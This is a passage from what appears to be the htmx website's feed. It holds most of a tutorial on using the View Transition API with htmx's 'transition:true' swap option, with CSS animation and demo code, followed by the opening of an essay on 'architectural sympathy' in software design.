&lt;p&gt;htmx, as you probably know, makes CSS Transitions &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;animations&#x2F;&quot;&gt;available in plain HTML&lt;&#x2F;a&gt; via
a somewhat elaborate &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;docs&#x2F;#request-operations&quot;&gt;swapping model&lt;&#x2F;a&gt; where we take elements that are in both
the old and new content and “settle” attributes on them. It’s a neat trick and can be used to make hypermedia-driven
application feel as buttery-smooth as well done SPA.&lt;&#x2F;p&gt;
&lt;p&gt;However, there is a new kid on the block: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.chrome.com&#x2F;docs&#x2F;web-platform&#x2F;view-transitions&#x2F;&quot;&gt;The View Transition API&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-view-transition-api&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-view-transition-api&quot; aria-label=&quot;Anchor link for: the-view-transition-api&quot;&gt;The View Transition API&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The View Transition API is much more ambitious than CSS transitions in that it is attempting to provide a simple, intuitive
API for transitioning an &lt;em&gt;entire DOM&lt;&#x2F;em&gt; from one state to another in a way that mere mortals can take advantage of.&lt;&#x2F;p&gt;
&lt;p&gt;Furthermore, this API is supposed to be available not only in JavaScript, but also for plain old links and forms in HTML as well,
making it possible to build &lt;em&gt;much nicer&lt;&#x2F;em&gt; user interfaces using the Web 1.0 approach.&lt;&#x2F;p&gt;
&lt;p&gt;It will be fun to revisit the Contact application in “Hypermedia Systems” when this functionality is available!&lt;&#x2F;p&gt;
&lt;p&gt;As of this writing, however, the API is, like CSS Transitions, only available in JavaScript, and its only been just
released in Chrome 111+.&lt;&#x2F;p&gt;
&lt;p&gt;In JavaScript, The API could not be more simple:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;&#x2F; this is all it takes to get a smooth transition from one 
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;&#x2F; state to another!
&lt;&#x2F;span&gt;&lt;span&gt;  document.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;startViewTransition&lt;&#x2F;span&gt;&lt;span&gt;(() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;updateTheDOMSomehow&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, that’s my kind of API.&lt;&#x2F;p&gt;
&lt;p&gt;As luck would have it, it’s trivial to wrap this API around the regular htmx swapping model, which allows us to
start exploring View Transitions in htmx, even before it’s generally available in HTML!&lt;&#x2F;p&gt;
&lt;p&gt;And, as of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;npm&#x2F;htmx.org@1.9.0&quot;&gt;htmx 1.9.0&lt;&#x2F;a&gt;, you can start experimenting with the API by adding the
&lt;code&gt;transition:true&lt;&#x2F;code&gt; attribute to an &lt;a href=&quot;&#x2F;attributes&#x2F;hx-swap&quot;&gt;&lt;code&gt;hx-swap&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; attribute.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;a-practical-example&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#a-practical-example&quot; aria-label=&quot;Anchor link for: a-practical-example&quot;&gt;A Practical Example&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;So let’s look at a simple example of this new shiny toy coupled with htmx.&lt;&#x2F;p&gt;
&lt;p&gt;Doing so will involve two parts:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Defining our View Transition animation via CSS&lt;&#x2F;li&gt;
&lt;li&gt;Adding a small annotation to an htmx-powered button&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;the-css&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-css&quot; aria-label=&quot;Anchor link for: the-css&quot;&gt;The CSS&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;The first thing that we need to do is define the View Transition animation that we want.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Define some animations using @keyframes to slide and fade content&lt;&#x2F;li&gt;
&lt;li&gt;Define a view transition with the name &lt;code&gt;slide-it&lt;&#x2F;code&gt; using the &lt;code&gt;:view-transition-old()&lt;&#x2F;code&gt; and &lt;code&gt;:view-transition-new()&lt;&#x2F;code&gt; pseudo-selectors&lt;&#x2F;li&gt;
&lt;li&gt;Tie the &lt;code&gt;.sample-transition&lt;&#x2F;code&gt; class to the &lt;code&gt;slide-it&lt;&#x2F;code&gt; view transition that we just defined, so we can bind it to elements via a that CSS class name&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;(Fuller details on the View Transition API can be found on the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.chrome.com&#x2F;docs&#x2F;web-platform&#x2F;view-transitions&#x2F;&quot;&gt;Chrome Developer Page&lt;&#x2F;a&gt;
documenting them.)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;@keyframes &lt;&#x2F;span&gt;&lt;span&gt;fade-in {
&lt;&#x2F;span&gt;&lt;span&gt;         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;{ opacity: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; }
&lt;&#x2F;span&gt;&lt;span&gt;       }
&lt;&#x2F;span&gt;&lt;span&gt;    
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;@keyframes &lt;&#x2F;span&gt;&lt;span&gt;fade-out {
&lt;&#x2F;span&gt;&lt;span&gt;         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;to &lt;&#x2F;span&gt;&lt;span&gt;{ opacity: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; }
&lt;&#x2F;span&gt;&lt;span&gt;       }
&lt;&#x2F;span&gt;&lt;span&gt;    
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;@keyframes &lt;&#x2F;span&gt;&lt;span&gt;slide-from-right {
&lt;&#x2F;span&gt;&lt;span&gt;         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;{ transform: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;translateX&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;90px&lt;&#x2F;span&gt;&lt;span&gt;); }
&lt;&#x2F;span&gt;&lt;span&gt;       }
&lt;&#x2F;span&gt;&lt;span&gt;    
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;@keyframes &lt;&#x2F;span&gt;&lt;span&gt;slide-to-left {
&lt;&#x2F;span&gt;&lt;span&gt;         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;to &lt;&#x2F;span&gt;&lt;span&gt;{ transform: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;translateX&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;-90px&lt;&#x2F;span&gt;&lt;span&gt;); }
&lt;&#x2F;span&gt;&lt;span&gt;       }
&lt;&#x2F;span&gt;&lt;span&gt;    
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;* define animations for the old and new content *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;view-transition-old(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;slide-it&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;         animation: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;180ms &lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;cubic-bezier&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0.4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) both fade-out,
&lt;&#x2F;span&gt;&lt;span&gt;         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;600ms &lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;cubic-bezier&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0.4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0.2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) both slide-to-left;
&lt;&#x2F;span&gt;&lt;span&gt;       }
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;view-transition-new(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;slide-it&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;         animation: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;420ms &lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;cubic-bezier&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0.2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;90ms &lt;&#x2F;span&gt;&lt;span&gt;both fade-in,
&lt;&#x2F;span&gt;&lt;span&gt;         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;600ms &lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;cubic-bezier&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0.4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0.2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) both slide-from-right;
&lt;&#x2F;span&gt;&lt;span&gt;       }
&lt;&#x2F;span&gt;&lt;span&gt;    
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&#x2F;* tie the view transition to a given CSS class *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;       &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;.sample-transition &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;           view-transition-name: slide-it;
&lt;&#x2F;span&gt;&lt;span&gt;       }
&lt;&#x2F;span&gt;&lt;span&gt;        
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This CSS sets it up such that content with the &lt;code&gt;.sample-transition&lt;&#x2F;code&gt; class on it will fade out and slide to the left when
it is removed, and new content will fade in and slide in from the right.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-html&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-html&quot; aria-label=&quot;Anchor link for: the-html&quot;&gt;The HTML&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;With our View Transition defined via CSS, the next thing to do is to tie this View Transition to an actual element that
htmx will mutate, and to specify that htmx should take advantage of the View Transition API:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;sample-transition&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;       &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Initial Content&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;       &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-get&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;new-content&amp;quot; 
&lt;&#x2F;span&gt;&lt;span&gt;               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-swap&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;innerHTML transition:true&amp;quot; 
&lt;&#x2F;span&gt;&lt;span&gt;               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-target&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;closest div&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;         Swap It!
&lt;&#x2F;span&gt;&lt;span&gt;       &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here we have a button that issues an &lt;code&gt;GET&lt;&#x2F;code&gt; to get some new content, and that replaces the closest div’s inner HTML
with the response.&lt;&#x2F;p&gt;
&lt;p&gt;That div has the &lt;code&gt;sample-transition&lt;&#x2F;code&gt; class on it, so the View Transition defined above will apply to it.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, the &lt;code&gt;hx-swap&lt;&#x2F;code&gt; attribute includes the option, &lt;code&gt;transition:true&lt;&#x2F;code&gt;, which is what tells htmx to use the
internal View Transition JavaScript API when swapping.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;demo&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#demo&quot; aria-label=&quot;Anchor link for: demo&quot;&gt;Demo&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;With all that tied together, we are ready to start using the View Transition API with htmx. Here’s a demo, which
should work in Chrome 111+ (other browsers will work fine, but won’t get the nice animation):&lt;&#x2F;p&gt;
&lt;style&gt;
   @keyframes fade-in {
     from { opacity: 0; }
   }

   @keyframes fade-out {
     to { opacity: 0; }
   }

   @keyframes slide-from-right {
     from { transform: translateX(90px); }
   }

   @keyframes slide-to-left {
     to { transform: translateX(-90px); }
   }

   &#x2F;* define animations for the old and new content *&#x2F;
   ::view-transition-old(slide-it) {
     animation: 180ms cubic-bezier(0.4, 0, 1, 1) both fade-out,
     600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-to-left;
   }
   ::view-transition-new(slide-it) {
     animation: 420ms cubic-bezier(0, 0, 0.2, 1) 90ms both fade-in,
     600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-from-right;
   }

   &#x2F;* tie the view transition to a given CSS class *&#x2F;
   .sample-transition {
       view-transition-name: slide-it;
   }
    
&lt;&#x2F;style&gt;
&lt;div class=&quot;sample-transition&quot; style=&quot;padding: 24px&quot;&gt;
   &lt;h1&gt;Initial Content&lt;&#x2F;h1&gt;
   &lt;button hx-get=&quot;&#x2F;new-content&quot; hx-swap=&quot;innerHTML transition:true&quot; hx-target=&quot;closest div&quot;&gt;
     Swap It!
   &lt;&#x2F;button&gt;
&lt;&#x2F;div&gt;
&lt;script&gt;
    var originalContent = htmx.find(&quot;.sample-transition&quot;).innerHTML;

    this.server.respondWith(&quot;GET&quot;, &quot;&#x2F;new-content&quot;, function(xhr){
        xhr.respond(200,  {}, &quot;&lt;h1&gt;New Content&lt;&#x2F;h1&gt; &lt;button hx-get=&#x27;&#x2F;original-content&#x27; hx-swap=&#x27;innerHTML transition:true&#x27; hx-target=&#x27;closest div&#x27;&gt;Restore It! &lt;&#x2F;button&gt;&quot;)
    });

    this.server.respondWith(&quot;GET&quot;, &quot;&#x2F;original-content&quot;, function(xhr){
        xhr.respond(200,  {}, originalContent)
    });
&lt;&#x2F;script&gt;
&lt;p&gt;Assuming you are looking at this page in Chrome 111+, you should see the content above slide gracefully out to the
left and be replaced by new content sliding in from the right. Nice!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Hey now, that’s pretty neat, and, once you get your head around the concept, not all that much work! This new API
shows a lot of promise.&lt;&#x2F;p&gt;
&lt;p&gt;View Transitions are an exciting new technology that we feel can dramatically level the playing field between
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;Hypermedia Driven Applications&lt;&#x2F;a&gt; and the more prevalent SPA
architecture used today.&lt;&#x2F;p&gt;
&lt;p&gt;By doing away with the ugly “ka-chunk” of Web 1.0 applications, the aesthetic advantages of the
SPA approach will be diminished, and we can make decisions less around “sizzle” and focus more on the actual &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;when-to-use-hypermedia&#x2F;&quot;&gt;technical
tradeoffs&lt;&#x2F;a&gt; associated with various architectures.&lt;&#x2F;p&gt;
&lt;p&gt;We are looking forward to when View Transitions are available in vanilla HTML, but, until then, you can start playing
with them in htmx, today!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Architectural Sympathy</title>
        <published>2023-04-06T00:00:00+00:00</published>
        <updated>2023-04-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/architectural-sympathy/"/>
        <id>https://htmx.org/essays/architectural-sympathy/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/architectural-sympathy/">&lt;h1 id=&quot;mechanical-sympathy-architectural-sympathy&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#mechanical-sympathy-architectural-sympathy&quot; aria-label=&quot;Anchor link for: mechanical-sympathy-architectural-sympathy&quot;&gt;Mechanical Sympathy &amp;amp; Architectural Sympathy&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;You don’t have to be an engineer to be a racing driver, but you do have to have Mechanical Sympathy.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;em&gt;-Jackie Stewart, racing driver&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The term “mechanical sympathy” was originally coined by Jackie Stewart to capture a characteristic
of race car drivers, who needed a deep and intuitive understanding of how a race car worked in order
to get the best possible performance out of the vehicle.&lt;&#x2F;p&gt;
&lt;p&gt;This term was applied to software development by Martin Thompson when discussing his &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;martinfowler.com&#x2F;articles&#x2F;lmax.html&quot;&gt;LMAX&lt;&#x2F;a&gt;
architecture, which utilized a low level and intuitive understanding of how his cloud system functioned
in order to maximize the performance of it.  Thompson maintained &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mechanical-sympathy.blogspot.com&#x2F;&quot;&gt;a blog&lt;&#x2F;a&gt;
on the topic for many years, and it is well worth going back and reading the posts there.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;architectural-sympathy&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#architectural-sympathy&quot; aria-label=&quot;Anchor link for: architectural-sympathy&quot;&gt;Architectural Sympathy&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In this brief essay I want to propose another concept and design principle, that of &lt;em&gt;Architectural Sympathy&lt;&#x2F;em&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Architectural Sympathy is the characteristic of one piece of software adopting and conforming to the architectural
design of another piece of software&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This is a design principle that I have kept in mind when designing &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&quot;&gt;htmx&lt;&#x2F;a&gt; and
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&quot;&gt;hyperscript&lt;&#x2F;a&gt; and I wanted to write it down for reference and so others can think about,
criticize and improve it.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;htmx-s-architectural-sympathy-for-the-web&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#htmx-s-architectural-sympathy-for-the-web&quot; aria-label=&quot;Anchor link for: htmx-s-architectural-sympathy-for-the-web&quot;&gt;htmx’s Architectural Sympathy for The Web&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;htmx is architecturally sympathetic to The Web because it adopts the underlying &lt;a href=&quot;&#x2F;essays&#x2F;hateoas&quot;&gt;REST-ful&lt;&#x2F;a&gt; architecture
of The Web: exchanging &lt;em&gt;hypermedia&lt;&#x2F;em&gt; in a REST-ful manner with a hypermedia server.  As much as is practical, htmx takes
design cues from the existing Web infrastructure:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;It mimics the core hypermedia-exchange mechanic of links and forms&lt;&#x2F;li&gt;
&lt;li&gt;It uses CSS selectors for targeting&lt;&#x2F;li&gt;
&lt;li&gt;It uses standard URL paths for designating end points&lt;&#x2F;li&gt;
&lt;li&gt;It uses the standard API language for specifying swap types&lt;&#x2F;li&gt;
&lt;li&gt;Etc.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;htmx attempts to &lt;em&gt;fold in&lt;&#x2F;em&gt; to the existing conceptual architecture of The Web, rather than replace it.&lt;&#x2F;p&gt;
&lt;p&gt;This is in contrast with the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Glossary&#x2F;SPA&quot;&gt;SPA&lt;&#x2F;a&gt; approach to building web
applications.  Most SPA frameworks have little architectural sympathy with the original web model.  Rather, they largely
&lt;em&gt;replace&lt;&#x2F;em&gt; the original, REST-ful, hypermedia-oriented architecture of the web in favor of a more thick-client like
architecture, exchanging information over an
&lt;a href=&quot;&#x2F;essays&#x2F;how-did-rest-come-to-mean-the-opposite-of-rest&#x2F;&quot;&gt;RPC-like fixed-data format&lt;&#x2F;a&gt; network architecture.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;advantages-of-the-architecturally-sympathetic-approach&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#advantages-of-the-architecturally-sympathetic-approach&quot; aria-label=&quot;Anchor link for: advantages-of-the-architecturally-sympathetic-approach&quot;&gt;Advantages Of The Architecturally Sympathetic Approach&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;If a new piece of software maintains architectural sympathy with an original piece of software, the following advantages
are obtained:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A developer who is familiar with the original piece of software does not need to learn a whole new conceptual approach
when using the new piece of software.&lt;&#x2F;li&gt;
&lt;li&gt;The design constraints of the original piece of software offer a framework within which to evaluate features for the
new piece of software.  This makes it easier to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;grugbrain.dev&#x2F;#grug-on-saying-no&quot;&gt;say “no”&lt;&#x2F;a&gt; as you develop the
new software. (“The enemy of art is the absence of limitations.” –&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;quoteinvestigator.com&#x2F;2014&#x2F;05&#x2F;24&#x2F;art-limit&#x2F;&quot;&gt;Orson Welles&lt;&#x2F;a&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;Experience gained from working with the original piece of software can directly inform the design and implementation of
the new software&lt;&#x2F;li&gt;
&lt;li&gt;There will likely be a subjective feeling of “fit” between the new and original software for users of the new software&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
